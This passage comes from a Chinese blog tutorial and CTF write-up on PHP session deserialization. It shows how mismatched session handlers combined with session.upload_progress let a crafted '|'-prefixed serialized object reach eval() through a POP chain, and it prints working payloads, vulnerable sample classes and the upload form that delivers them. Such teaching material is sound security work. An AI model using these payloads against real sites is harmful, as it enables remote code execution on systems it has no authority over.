<p>对于<span style="background-color: rgba(255, 255, 153, 1)">php_serialize</span>引擎来说<span style="background-color: rgba(255, 255, 153, 1)">'&nbsp;</span><span style="background-color: rgba(255, 255, 153, 1)">| '</span>可能只是一个正常的字符;但对于<span style="background-color: rgba(255, 255, 153, 1)">php</span>引擎来说<span style="background-color: rgba(255, 255, 153, 1)">'&nbsp;| '</span>就是分隔符,前面是<span style="background-color: rgba(255, 255, 153, 1)">$_SESSION['username']的键名<span style="background-color: rgba(255, 255, 255, 1)"> ,</span>后面是GET参数经过serialize序列化后的值</span>。从而在解析的时候造成了歧义,导致其在解析Session文件时直接对<span style="background-color: rgba(255, 255, 153, 1)">' | '</span>后的值进行反序列化处理。</p>
<p>可能有的人看到这里会有疑问,在使用php引擎读取Session文件时,为什么会自动对<span style="background-color: rgba(255, 255, 153, 1)">' | '</span>后面的内容进行反序列化呢?也没看到反序列化unserialize函数。</p>
<p>这是因为使用了<span style="background-color: rgba(255, 255, 153, 1)">session_start()</span>这个函数 ,看一下官方说明:https://www.php.net/session_start/</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201004004813666-570284525.png" alt="" width="678" height="147" loading="lazy"></p>
<p>可以看到PHP能自动反序列化数据的前提是,现有的会话数据是<span style="background-color: rgba(255, 255, 153, 1)">以特殊的序列化格式存储</span>。</p>
<p>明白了漏洞的原理,也了解了反序列化漏洞的位置,现在来构造payload:</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">&lt;?<span style="color: rgba(0, 0, 0, 1)">php
    </span><span style="color: rgba(0, 0, 255, 1)">class</span><span style="color: rgba(0, 0, 0, 1)"> user{
      </span><span style="color: rgba(0, 0, 255, 1)">var</span><span style="color: rgba(0, 0, 0, 1)"> $name;
      </span><span style="color: rgba(0, 0, 255, 1)">var</span><span style="color: rgba(0, 0, 0, 1)"> $age;
    }
    $a </span>= <span style="color: rgba(0, 0, 255, 1)">new</span><span style="color: rgba(0, 0, 0, 1)"> user();
    $a</span>-&gt;name = <span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">bmjoker</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">;
    $a</span>-&gt;age = <span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">888</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">;
    echo serialize($a);
</span>?&gt;</span></pre>
</div>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201004005140416-1450722895.png" alt="" width="949" height="169" loading="lazy"></p>
<p>如上生成的payload如果想利用php引擎读取Session文件时对<span style="background-color: rgba(255, 255, 153, 1)">' | '</span>解析产生的反序列化漏洞,需要在payload前加个<span style="background-color: rgba(255, 255, 153, 1)">' | '</span>,这个时候经过<span style="background-color: rgba(255, 255, 153, 1)">php_serialize</span>引擎存储就会变成:<code><br></code></p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201004005906629-102905594.png" alt="" width="706" height="169" loading="lazy"></p>
<p>这个使用如果使用<span style="background-color: rgba(255, 255, 153, 1)">php</span>引擎去读取</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201004011218742-893290841.png" alt="" width="710" height="131" loading="lazy"></p>
<p>直接访问Session2.php文件:</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201004011747240-82019292.png" alt="" width="320" height="78" loading="lazy"></p>
<p>成功触发了user类的魔术方法<span style="background-color: rgba(255, 255, 153, 1)">__wakeup()</span>,结合POP反序列化链就可以造成一些其他的漏洞。</p>
<p>但这种方法是在可以对<span style="background-color: rgba(255, 255, 153, 1)">$_SESSION</span>进行赋值的情况下实现的,那如果代码中不存在对<span style="background-color: rgba(255, 255, 153, 1)">$_SESSION</span>变量赋值的情况下又该如何利用?</p>
<h3><strong>不存在对$_SESSION变量赋值</strong></h3>
<p>在PHP中还存在一个<span style="background-color: rgba(255, 255, 153, 1)">upload_process</span>机制,即自动在<span style="background-color: rgba(255, 255, 153, 1)">$_SESSION</span>中创建一个键值对(key:value),value中刚好存在用户可控的部分,可以看下官方描述的,这个功能在文件上传的过程中利用session实时返回上传的进度。</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201004013356226-1468512636.png" alt="" width="629" height="348" loading="lazy"></p>
<p>更多细节请参考:http://php.net/manual/zh/session.upload-progress.php</p>
<p>从上面的大概描述大概得知此漏洞需要<span style="background-color: rgba(255, 255, 153, 1)">session.upload_progress.enabled为on</span>,在上传文件的时候同时POST一个与<span style="background-color: rgba(255, 255, 153, 1)">session.upload_process.name</span>的同名变量。后端会自动将POST的这个<span style="background-color: rgba(255, 255, 153, 1)">同名变量作为键进行序列化然后存储到session文件</span>中。下次请求就会<span style="background-color: rgba(255, 255, 153, 1)">反序列化session文件</span>,从中取出这个键。所以漏洞的根本原因还是使用了不同的Session处理引擎。</p>
<p>来看一道Jarvis OJ 平台的 PHPINFO 题目</p>
<p>环境地址:http://web.jarvisoj.com:32784/</p>
<p>index.php</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">&lt;?<span style="color: rgba(0, 0, 0, 1)">php
</span><span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">A webshell is wait for you</span>
ini_set(<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">session.serialize_handler</span><span style="color: rgba(128, 0, 0, 1)">'</span>, <span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">php</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">);
session_start();
</span><span style="color: rgba(0, 0, 255, 1)">class</span><span style="color: rgba(0, 0, 0, 1)"> OowoO
{
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> $mdzz;
    function __construct()
    {
      $</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;mdzz = <span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">phpinfo();</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">;
    }
   
    function __destruct()
    {
      eval($</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;<span style="color: rgba(0, 0, 0, 1)">mdzz);
    }
}
</span><span style="color: rgba(0, 0, 255, 1)">if</span>(isset($_GET[<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">phpinfo</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">]))
{
    $m </span>= <span style="color: rgba(0, 0, 255, 1)">new</span><span style="color: rgba(0, 0, 0, 1)"> OowoO();
}
</span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)">
{
    highlight_string(file_get_contents(</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">index.php</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">));
}
</span>?&gt;</span></pre>
</div>
<p>通过index.php代码可以得知:</p>
<p>  1. 是使用<span style="background-color: rgba(255, 255, 153, 1)">php</span>的引擎来读取Session。</p>
<p>  2. 如果存在GET方式传递进来的参数,就实例化<span style="background-color: rgba(255, 255, 153, 1)">Oowo</span>类的对象,就会自动调用构造函数<span style="background-color: rgba(255, 255, 153, 1)">__construct()</span>,将phpinfo()赋值给变量<span style="background-color: rgba(255, 255, 153, 1)">$mdzz</span>,在程序结束的时候调用析构函数<span style="background-color: rgba(255, 255, 153, 1)">__destruct()</span>通过eval执行$mdzz,说白了就是随便传一个参数,就可以看到php探针。</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201004142825287-198251031.png" alt="" width="839" height="277" loading="lazy"></p>
<p>通过读取php探针文件发现了两个比较重要的信息:</p>
<p>  1. 默认的Session存储引擎为<span style="background-color: rgba(255, 255, 153, 1)">php_serialize</span>,但是index.php告诉我们Session读取使用的是<span style="background-color: rgba(255, 255, 153, 1)">php</span>引擎,因为反序列化和序列化使用的处理器不同,由于格式的原因会导致数据无法正确反序列化,那么就可以通过构造伪造任意数据。</p>
<p>  2.&nbsp;index.php代码中虽然没有对<span style="background-color: rgba(255, 255, 153, 1)">$_SESSION</span>变量赋值,但是<span style="background-color: rgba(255, 255, 153, 1)">session.upload_progress.enabled 为 On</span>。符合使用<span style="background-color: rgba(255, 255, 153, 1)">upload_process</span>机制对变量$_SESSION赋值,并结合上面的Session反序列化来构造利用。</p>
<p><span style="background-color: rgba(255, 255, 153, 1)">session.upload_progress.name</span> 为 <span style="background-color: rgba(255, 255, 153, 1)">PHP_SESSION_UPLOAD_PROGRESS</span>,可以本地创建 up_sess.html,一个向 index.php 提交 POST 请求的表单文件,其中包括<span style="background-color: rgba(255, 255, 153, 1)">PHP_SESSION_UPLOAD_PROGRESS</span> 变量。</p>
<p>up_sess.html</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">&lt;form action=<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">http://web.jarvisoj.com:32784/index.php</span><span style="color: rgba(128, 0, 0, 1)">"</span> method=<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">POST</span><span style="color: rgba(128, 0, 0, 1)">"</span> enctype=<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">multipart/form-data</span><span style="color: rgba(128, 0, 0, 1)">"</span>&gt;
    &lt;input type=<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">hidden</span><span style="color: rgba(128, 0, 0, 1)">"</span> name=<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">PHP_SESSION_UPLOAD_PROGRESS</span><span style="color: rgba(128, 0, 0, 1)">"</span> value=<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">123</span><span style="color: rgba(128, 0, 0, 1)">"</span> /&gt;
    &lt;input type=<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">file</span><span style="color: rgba(128, 0, 0, 1)">"</span> name=<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">file</span><span style="color: rgba(128, 0, 0, 1)">"</span> / &gt;
    &lt;input type=<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">submit</span><span style="color: rgba(128, 0, 0, 1)">"</span> /&gt;
&lt;/form&gt;</span></pre>
</div>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201004144519478-1919392409.png" alt="" width="445" height="103" loading="lazy"></p>
<p>接下来构造序列化payload来读取flag:</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">&lt;?<span style="color: rgba(0, 0, 0, 1)">php
ini_set(</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">session.serialize_handler</span><span style="color: rgba(128, 0, 0, 1)">'</span>, <span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">php_serialize</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">);
session_start();
</span><span style="color: rgba(0, 0, 255, 1)">class</span><span style="color: rgba(0, 0, 0, 1)"> OowoO
{
    </span><span style="color: rgba(0, 0, 255, 1)">public</span> $mdzz=<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">print_r(scandir(dirname(__FILE__)));</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">;

}
$obj </span>= <span style="color: rgba(0, 0, 255, 1)">new</span><span style="color: rgba(0, 0, 0, 1)"> OowoO();
echo serialize($obj);
</span>?&gt;</span></pre>
</div>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201004161526537-1349792479.png" alt="" width="939" height="199" loading="lazy"></p>
<p>其中<span style="background-color: rgba(255, 255, 153, 1)">print_r(scandir(dirname(__FILE__)));</span>用来打印当前文件绝对路径目录中的文件和目录的数组</p>
<p><span class="token macro property">接下来就要通过不同引擎的差异解析来构造反序列化payload,只需要在前面加上<span style="background-color: rgba(255, 255, 153, 1)">' | '</span>,这样通过php引擎反序列化<span style="background-color: rgba(255, 255, 153, 1)">' | '</span>后半部分,就可以打印出目录中的文件数组:</span></p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">|O:<span style="color: rgba(128, 0, 128, 1)">5</span>:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">OowoO</span><span style="color: rgba(128, 0, 0, 1)">"</span>:<span style="color: rgba(128, 0, 128, 1)">1</span>:{s:<span style="color: rgba(128, 0, 128, 1)">4</span>:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">mdzz</span><span style="color: rgba(128, 0, 0, 1)">"</span>;s:<span style="color: rgba(128, 0, 128, 1)">36</span>:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">print_r(scandir(dirname(__FILE__)));</span><span style="color: rgba(128, 0, 0, 1)">"</span>;}</span></pre>
</div>
<p>在文件上传的时候使用burp抓包,在 <span style="background-color: rgba(255, 255, 153, 1)">PHP_SESSION_UPLOAD_PROGRESS</span> 的 value 值中添加<span style="background-color: rgba(255, 255, 153, 1)">' | '</span>和序列化的字符串</p>
<p>查看根目录文件:</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201004162605122-1943670605.png" alt="" width="850" height="403" loading="lazy"></p>
<p>发现flag文件与index.php文件在同一目录下,查看根目录路径:</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201004163201111-606633489.png" alt="" width="848" height="416" loading="lazy"></p>
<p>读取flag文件:</p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201004163523328-1784298567.png" alt="" width="847" height="417" loading="lazy"></p>
<h2>Session反序列化POP链构造</h2>
<p>注:以下例子在本地搭建,需要在php.ini中对以下选项进行配置:</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px"><span style="color: rgba(0, 0, 0, 1)">session.auto_start = Off
session.serialize_handler </span>= <span style="color: rgba(0, 0, 0, 1)">php_serialize
session.upload_progress.cleanup </span>= 0ff</span></pre>
</div>
<p><span style="background-color: rgba(255, 255, 153, 1)">session.auto_start = on</span>&nbsp;表示PHP在接收请求的时候会自动初始化Session,不再需要执行<span style="background-color: rgba(255, 255, 153, 1)">session_start()</span>。</p>
<p><span style="background-color: rgba(255, 255, 153, 1)">session.serialize_handler = php_serialize</span> 表示默认使用<span style="background-color: rgba(255, 255, 153, 1)">php_serialize</span>引擎进行存储。</p>
<p><span style="background-color: rgba(255, 255, 153, 1)">session.upload_progress.cleanup = On</span>&nbsp;导致文件上传后,Session文件内容立即清空,这个时候就需要利用时间竞争,在Session文件内容清空前进行包含利用。</p>
<p>前期为了演示反序列化效果,暂时将这个选项关闭<span style="background-color: rgba(255, 255, 153, 1)">Off</span>,后面会打开来展示利用条件竞争Session反序列化rce。</p>
<p>class.php</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">&lt;?<span style="color: rgba(0, 0, 0, 1)">php
highlight_string(file_get_contents(basename($_SERVER[</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">PHP_SELF</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">])));            
</span><span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">show_source(__FILE__);    </span>
<span style="color: rgba(0, 0, 255, 1)">class</span><span style="color: rgba(0, 0, 0, 1)"> foo1{
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> $varr;
    function __construct(){
      $</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;varr = <span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">index.php</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">;
    }
    function __destruct(){
      </span><span style="color: rgba(0, 0, 255, 1)">if</span>(file_exists($<span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;<span style="color: rgba(0, 0, 0, 1)">varr)){
            echo </span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">&lt;br&gt;文件</span><span style="color: rgba(128, 0, 0, 1)">"</span>.$<span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;varr.<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">存在&lt;br&gt;</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">;
      }
      echo </span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">&lt;br&gt;这是foo1的析构函数&lt;br&gt;</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">;
    }
}
   
</span><span style="color: rgba(0, 0, 255, 1)">class</span><span style="color: rgba(0, 0, 0, 1)"> foo2{
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> $varr;
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> $obj;
    function __construct(){
      $</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;varr = <span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">1234567890</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">;
      $</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;obj = <span style="color: rgba(0, 0, 255, 1)">null</span><span style="color: rgba(0, 0, 0, 1)">;
    }
    function __toString(){                  </span><span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">    类被当作字符串时被调用</span>
      $<span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;obj-&gt;<span style="color: rgba(0, 0, 0, 1)">execute();
      </span><span style="color: rgba(0, 0, 255, 1)">return </span>$<span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;<span style="color: rgba(0, 0, 0, 1)">varr;
    }
    function __desctuct(){
      echo </span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">&lt;br&gt;这是foo2的析构函数&lt;br&gt;</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">;
    }
}
   
</span><span style="color: rgba(0, 0, 255, 1)">class</span><span style="color: rgba(0, 0, 0, 1)"> foo3{
    </span><span style="color: rgba(0, 0, 255, 1)">public</span><span style="color: rgba(0, 0, 0, 1)"> $varr;
    function execute(){
      eval($</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;<span style="color: rgba(0, 0, 0, 1)">varr);
    }
    function __desctuct(){
      echo </span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">&lt;br&gt;这是foo3的析构函数&lt;br&gt;</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">;
    }
}
   
</span>?&gt;</span></pre>
</div>
<p>index.php</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">&lt;?<span style="color: rgba(0, 0, 0, 1)">php
ini_set(</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">session.serialize_handler</span><span style="color: rgba(128, 0, 0, 1)">'</span>, <span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">php</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">);
require(</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">./class.php</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">);
session_start();
$obj </span>= <span style="color: rgba(0, 0, 255, 1)">new</span><span style="color: rgba(0, 0, 0, 1)"> foo1();
$obj</span>-&gt;varr = <span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">phpinfo.php</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">;
</span>?&gt;</span></pre>
</div>
<p>通读class.php文件,发现漏洞点在于可以通过调用<span style="background-color: rgba(255, 255, 153, 1)">foo3</span>类中的<span style="background-color: rgba(255, 255, 153, 1)">eval</span>方法造成命令执行漏洞。这是一个类的普通方法,要让这个方法执行,需要构造一个POP链。</p>
<p>1.&nbsp;<span style="background-color: rgba(255, 255, 153, 1)">foo3</span>类中<span style="background-color: rgba(255, 255, 153, 1)">execute</span>方法没有发现调用的地方,但是在<span style="background-color: rgba(255, 255, 153, 1)">foo2</span>类中的魔术方法<span style="background-color: rgba(255, 255, 153, 1)">__toString()</span>中发现调用了同名方法,这里可以把<span style="background-color: rgba(255, 255, 153, 1)">foo2</span>类中的<span style="background-color: rgba(255, 255, 153, 1)">$obj</span>实例化为<span style="background-color: rgba(255, 255, 153, 1)">foo3</span>类的对象,这样只要调用<span style="background-color: rgba(255, 255, 153, 1)">__toString()</span>就相当于调用<span style="background-color: rgba(255, 255, 153, 1)">foo3</span>类中<span style="background-color: rgba(255, 255, 153, 1)">execute</span>方法。</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">$<span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;obj = <span style="color: rgba(0, 0, 255, 1)">new</span> foo3();</span></pre>
</div>
<p>2. 如果想触发<span style="background-color: rgba(255, 255, 153, 1)">foo2</span>类中的魔术方法<span style="background-color: rgba(255, 255, 153, 1)">__toString()</span>被触发,就需要<span style="background-color: rgba(255, 255, 153, 1)">foo2</span>类或者类下的一个对象被当作字符串调用。而在<span style="background-color: rgba(255, 255, 153, 1)">foo1</span>类中发现echo了一个对象,这里可以把<span style="background-color: rgba(255, 255, 153, 1)">foo1</span>类中的<span style="background-color: rgba(255, 255, 153, 1)">$varr</span>实例化为<span style="background-color: rgba(255, 255, 153, 1)">foo2</span>类的一个对象,这样通过echo,把一个对象当作一个字符串调用,就可以触发<span style="background-color: rgba(255, 255, 153, 1)">foo2</span>类中的<span style="background-color: rgba(255, 255, 153, 1)">__toString()</span>方法。</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">$<span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;varr = <span style="color: rgba(0, 0, 255, 1)">new</span> foo2();</span></pre>
</div>
<p>class.php文件的调用链为:</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">foo3::execute &lt;-- foo2::__toString &lt;-- foo1::__destruct</span></pre>
</div>
<p>思路有了现在来构造payload:</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">&lt;?<span style="color: rgba(0, 0, 0, 1)">php
</span><span style="color: rgba(0, 0, 255, 1)">class</span><span style="color: rgba(0, 0, 0, 1)"> foo1{
   function __construct(){
          $</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;varr = <span style="color: rgba(0, 0, 255, 1)">new</span><span style="color: rgba(0, 0, 0, 1)"> foo2();   
   }
}
</span><span style="color: rgba(0, 0, 255, 1)">class</span><span style="color: rgba(0, 0, 0, 1)"> foo2{
   function __construct(){
          $</span><span style="color: rgba(0, 0, 255, 1)">this</span>-&gt;obj = <span style="color: rgba(0, 0, 255, 1)">new</span><span style="color: rgba(0, 0, 0, 1)"> foo3();
   }
}
</span><span style="color: rgba(0, 0, 255, 1)">class</span><span style="color: rgba(0, 0, 0, 1)"> foo3{
   </span><span style="color: rgba(0, 0, 255, 1)">public</span> $varr=<span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(128, 0, 0, 1)">phpinfo();</span><span style="color: rgba(128, 0, 0, 1)">'</span><span style="color: rgba(0, 0, 0, 1)">;
}

$obj </span>= <span style="color: rgba(0, 0, 255, 1)">new</span><span style="color: rgba(0, 0, 0, 1)"> foo1();
echo serialize($obj);
</span>?&gt;</span></pre>
</div>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201005151042045-1869989064.png" alt="" width="947" height="307" loading="lazy"></p>
<p>再来分析一下index.php文件:</p>
<p>  &nbsp;1. 发现使用<span style="background-color: rgba(255, 255, 153, 1)">php</span>引擎来读取Session文件,而系统默认是使用<span style="background-color: rgba(255, 255, 153, 1)">php_serialize</span>引擎来存储Session,&nbsp;通过不同引擎的差异解析就可以反序列化rce。</p>
<p>&nbsp;  2. 文件直接<span style="background-color: rgba(255, 255, 153, 1)">require(class.php)</span>,并且紧接着实例化一个<span style="background-color: rgba(255, 255, 153, 1)">foo1</span>类的对象,这意味着使用php引擎解析完Session文件,反序列化payload直接就可以rce。</p>
<p>本地创建 up_sess.html,一个向 <span style="background-color: rgba(255, 255, 153, 1)">index.php</span> 提交 POST 请求的表单文件,其中包括<span style="background-color: rgba(255, 255, 153, 1)">PHP_SESSION_UPLOAD_PROGRESS</span>变量。</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">&lt;form action=<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">http://127.0.0.1/index.php</span><span style="color: rgba(128, 0, 0, 1)">"</span> method=<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">POST</span><span style="color: rgba(128, 0, 0, 1)">"</span> enctype=<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">multipart/form-data</span><span style="color: rgba(128, 0, 0, 1)">"</span>&gt;
    &lt;input type=<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">hidden</span><span style="color: rgba(128, 0, 0, 1)">"</span> name=<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">PHP_SESSION_UPLOAD_PROGRESS</span><span style="color: rgba(128, 0, 0, 1)">"</span> value=<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">123</span><span style="color: rgba(128, 0, 0, 1)">"</span> /&gt;
    &lt;input type=<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">file</span><span style="color: rgba(128, 0, 0, 1)">"</span> name=<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">file</span><span style="color: rgba(128, 0, 0, 1)">"</span> /&gt;
    &lt;input type=<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">submit</span><span style="color: rgba(128, 0, 0, 1)">"</span> /&gt;
&lt;/form&gt;</span></pre>
</div>
<p>在文件上传的时候使用burp抓包,在&nbsp;<span style="background-color: rgba(255, 255, 153, 1)">PHP_SESSION_UPLOAD_PROGRESS</span>&nbsp;的 value 值中添加<span style="background-color: rgba(255, 255, 153, 1)">' | '</span>和序列化的字符串,payload为:</p>
<div class="cnblogs_code">
<pre><span style="font-size: 13px">|O:<span style="color: rgba(128, 0, 128, 1)">4</span>:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">foo1</span><span style="color: rgba(128, 0, 0, 1)">"</span>:<span style="color: rgba(128, 0, 128, 1)">1</span>:{s:<span style="color: rgba(128, 0, 128, 1)">4</span>:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">varr</span><span style="color: rgba(128, 0, 0, 1)">"</span>;O:<span style="color: rgba(128, 0, 128, 1)">4</span>:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">foo2</span><span style="color: rgba(128, 0, 0, 1)">"</span>:<span style="color: rgba(128, 0, 128, 1)">1</span>:{s:<span style="color: rgba(128, 0, 128, 1)">3</span>:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">obj</span><span style="color: rgba(128, 0, 0, 1)">"</span>;O:<span style="color: rgba(128, 0, 128, 1)">4</span>:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">foo3</span><span style="color: rgba(128, 0, 0, 1)">"</span>:<span style="color: rgba(128, 0, 128, 1)">1</span>:{s:<span style="color: rgba(128, 0, 128, 1)">4</span>:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">varr</span><span style="color: rgba(128, 0, 0, 1)">"</span>;s:<span style="color: rgba(128, 0, 128, 1)">10</span>:<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">phpinfo();</span><span style="color: rgba(128, 0, 0, 1)">"</span>;}}</span></pre>
</div>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201005152704004-1895748730.png" alt="" width="769" height="357" loading="lazy"></p>
<p><img src="https://img2020.cnblogs.com/blog/1344396/202010/1344396-20201005152747232-1148516133.png" alt="" width="663" height="285" loading="lazy"></p>
<p>现在设置<span style="background-color: rgba(255, 255, 153, 1)">session.upload_progress.cleanup = On</span> ,文件上传后,Session文件内容立即清空,这个时候就需要利用时间竞争来反序列化rce。</p>
